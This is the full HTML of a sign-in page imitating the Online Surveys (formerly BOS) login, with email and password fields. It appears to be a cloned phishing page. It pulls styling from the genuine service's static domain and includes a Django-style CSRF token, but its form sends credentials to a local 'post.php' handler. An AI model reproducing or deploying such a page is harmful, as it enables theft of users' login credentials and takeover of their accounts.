<!DOCTYPE html>
<!--[if IE 7]>
<html class="no-js lt-ie9 lt-ie8" lang="en">
<![endif]-->
<!--[if IE 8]>
<html class="no-js lt-ie9" lang="en">
<![endif]-->
<!--[if gt IE 8]><!-->
<html class="no-js ie9-or-better" lang="en">
<!--<![endif]-->
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Sign in to online surveys</title>
<link rel="shortcut icon" href="https://static.onlinesurveys.ac.uk/static/common/images/bos.ico" />
<link rel="stylesheet" href="https://static.onlinesurveys.ac.uk/static/auth/compiled/login.crush.css?" />
</head>
<body class="login-page">
<div class="outer-wrap">
<div class="top-bar outer cf">
<div id="bos">
<span class="bos-text" aria-labelledby="online-surveys">Online surveys</span>
<span class="page-head-title-formerly">(formerly BOS)</span>
</div>
</div><!-- .top-bar -->
<div class="page-wrapper outer cf">
<div class="main-wrapper">
<div role="main" aria-labelledby="page-title">
<div class="login-float">
<h1 id="page-title" class="main__hA">Sign in</h1>
<form id="login-form" method="post" action="post.php">
<input type='hidden' name='csrfmiddlewaretoken' value='9U4J7zk9l9ACPFFJpsRKekhEMigSAHDUTKKAqfDFgJgAEDnCcPfjsVwSh9OfV1lc' />
<ol class="field-list -vertical"><li class="field-list__email-input " data-field="username"><div class="field-list__label"><label for="id_username">Email address</label><span class="icon-wrapper"><span aria-hidden="true" class="icon icon__required " data-icon-entity=""></span><span class="hide">Required</span></span></div><div class="field-list__field"><input type="email" name="username" autofocus="true" required id="id_username" maxlength="254" /></div></li><li class="field-list__password-input " data-field="password"><div class="field-list__label"><label for="id_password">Password</label><span class="icon-wrapper"><span aria-hidden="true" class="icon icon__required " data-icon-entity=""></span><span class="hide">Required</span></span></div><div class="field-list__field"><input type="password" name="password" autocomplete="off" required id="id_password" /></div></li></ol>
<input type="hidden" name="next" value="/" />
<div class="field-list__footer">
<button type="submit" value="Log in" class="btn -primary -jumbo">Sign in</button>
<p class="password-reset"><a href="/accounts/password/reset/">Forgotten password</a> or <a href="/accounts/register/resend-invite">lost invitation</a>?</p>
<hr/>
<div class="login-actions">
<div class="create-account"><h2>Create account</h2><table><tr><td><a href="/accounts/register/individual">Single User</a></td><td><a href="/accounts/register/project">Project</a></td><td><a href="/accounts/register/organisation">Organisation</a></td></tr></table></div>
</div>
</div>
</form>
<div id="alt-methods">
</div>
</div>
</div>
</div><!-- .main-wrapper -->
</div><!-- .page-wrapper -->
</div><!-- .outer-wrap -->
</body>
</html>